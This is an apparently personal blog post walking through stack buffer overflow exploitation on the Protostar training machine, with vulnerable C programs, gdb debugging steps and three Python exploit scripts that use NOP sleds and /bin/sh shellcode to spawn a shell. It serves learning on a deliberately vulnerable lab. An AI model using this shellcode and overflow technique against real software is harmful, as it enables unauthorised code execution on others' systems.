Skip to main content

Reiterate the Concept of Stack Buffer Overflow ◉_◉ (day 36)

I think to be better at something is to diligently study the fundamental concept all over again until it becomes natural.

This concept can be seen to be committed by many experts around the world whether is from a martial artist, chef or a coder, they try to tend to master the concept for a long time so when it's time to move to more an advanced topic they don't have any trouble to digest it.

Image result for give me six hours to chop down a tree"


so I try again to deep dive into the concept again in a stack buffer overflow.

For practice, I just use the protostar machine from https://exploit.education/protostar/

Part 1:

Let's do the fifth challenge:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

so here is the source code, from a quick glance you can see that it is vulnerable because of the gets function.

let's try to run it:


well actually without run it we already know what is going to show right?


define a function so every time we hit breakpoint it will dump the next three instructions and dump 40 bytes of the esp registers.

esp (stack pointer) used to point the top of the stack

lets put a breakpoint at the "leave" instruction so we know the content of esp before it exits the main function. Run the program again with a random pattern so we know how many offset we need to fill for overwriting the eip registers.




cool we got 76 bytes to overwrite the offset, so the next question is what value that needs to put to the EIP ?

we should put the value of the address of our shellcode, so after the function is finished it will continue to our shellcode.

but where we put our shellcode? you can put it in the stack of the program since the NX functionality is disabled we can execute it inside the stack.

but where "exactly" the location of the stack that we can use? you can put anywhere in the stack it is an educated guess if the shellcode is crash try another address.

take a look at the ESP value after the program is executed

this is the state of ESP register before executing "leave" command


we can see the value EIP is overwritten with (42424242)

hit "si" to step through


now the esp is pointing to the eip (return main function) before executing "ret" after this the program will move to address "42424242" which is not exist. As you can see the stack register changes from the previous picture.


let's choose the address 0xbffff6fa

put it into our script to craft payload and for testing put char "\xCC" for indicating that our shellcode is hit by the program

char "\xCC" is opcode for a breakpoint in the shellcode


as you can see after the eip I put nop variable which contains "\x90" this is a nop code that does nothing, using nop code will give more chance to put our shellcode because what you run in gdb may not run outside of it due to the variable of environment path of the program that will move the location of the register. Don't forget to redirect the result to a file so we can load it to program stdin.




this payload will also cause breakpoint outside of the GDB:


you can also change to any address inside the stack and it will eventually hit the shellcode:



cool! know all we have to do is change the "\xCC" to shellcode

import struct

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

eip = struct.pack("I",0xbffff6a0+10)
nop = "\x90" * 100
padding = "A" * 76 + eip + nop + shellcode

print padding


hmmm whats with the (cat payload;cat)

oke let me explain if you try to run the payload with cat payload | /opt/protostar/bin/stack5

it will give you nothing, because of /bin/sh shell, is expecting us to give some sort of input to interact since we don't give any input it will exit the shell. To make the shell stay open you have to use "; cat"


Part 2:

oke so we got the foundation of buffer overflow, let's do another shellcode injection from the previous challenge (stack0)

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

and again it's pretty straight forward (vulnerable gets function)



we got the offset again which is 80 bytes


we reuse the code from part 1:

put "\xCC" just to make sure we got the shellcode to be executed





import struct

eip = struct.pack("I",0xbffff6e6)
nop = "\x90" * 100
bp = "\xCC" * 4
padding = "A" * 80

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print padding + eip + nop + shellcode

this our final script and we got a shell again, cool :D


Part 3:

let's do another shellcode injection from the previous challenge (stack1) again

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

different from the last two-part, the program gets the input from argv and copy the value to the buffer variable. strcpy also vulnerable to buffer overflow since the function doesn't have any size restriction.



ok, we got another 80 bytes of offset, lol:


again I will create a script that similar from the previous script:





as you can see both insides the gdb and outside the gdb we can get breakpoint shellcode.

import struct

eip = struct.pack("I",0xbffff610+20)
nop = "\x90" * 100
bp = "\xCC" * 4
padding = "A" * 80

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print padding + eip + nop + shellcode


customize your script like this and we got shell again cool :D


see ! if you able to grasp the concept it is easy to implement it in different condition

Enjoy :D

https://reverseengineering.stackexchange.com/questions/2995/illegal-instruction-exploiting-sample-buffer-overflow-code

https://reverseengineering.stackexchange.com/questions/2983/how-to-predict-address-space-layout-differences-between-real-and-gdb-controlled

Comments

Popular posts from this blog

Having fun analyzing nginx log to find malicious attacker in the net (ง'̀-'́)ง (day 37)

  What makes you sleepless at night? is it because of a ghost or scary stories? is it because you have an important meeting tomorrow? or is it because you have an exam? For me, what keeps me up all night is that I keep thinking about what happens to a website that I just created, is it safe from an attacker (certainly not) or did I missing some security adjustments that lead to vulnerability? well I'm not the best secure programmer in the world, I'm still learning and there is a big possibility that I can make a mistake but for me, a mistake can be a valuable investment to myself or yourself to be better so from this idea, I want to know more about what attackers casually do when attacking a website. Here in this post, I'm going to show you how I analyzed attack to the website that I have permission to design and also some interesting findings that I could get from the analysis Background: All of this analysis comes from the traffic that is targeted to th...

Utilize Pwntools for crafting ROP chain :') (day 69)

who doesn't like pwntools? it is a very versatile tool and can be customized according to our need using the python script but did you need to know that pwntools itself can help us to automatically craft a rop chain for us? so in this post, I will show you how to make rop chain less painful and make pwntools do all the heavy lifting. To demonstrate this I will use the binary challenge callme 64 bit from ropemporium link: https://ropemporium.com/challenge/callme.html Crashing the app: Like any other exploitation process, we need to crash the program by generating a long string pattern to determine the offset. based on the information from the above figure we can see that we required to provide 40 bytes of offset Fun stuff: now this where the fun stuff began write the following python script: as in the guideline of the challenged said we need to chain the function call by first to call the callme_one function, callme_two function and then callme_three funct...

Bypassing stack canaries protection :') (day 51)

In my previous blogs, I show you guys how to bypass some common protection usually used in Linux binary such as NX and ASLR but this time we are going to take it to the next level we are going to talk about protection employ in the modern Linux OS which is "The Canaries" and how to bypass it. note: this post was not originally mined it was inspired by the following resources https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary/ (Credit goes to the author) we are going to start this post about what is stack canaries and types of different implementation of it then move to the implementation about how to bypass this protection. We are going to focus on "leak canaries" technique What is stack canary: In layman terms, canaries are just another protection mechanism to prevent stack overflow implemented by appending 4/8 bytes value (depend on the architecture) into the stack when a function is entered. When the function is at the end of its exec...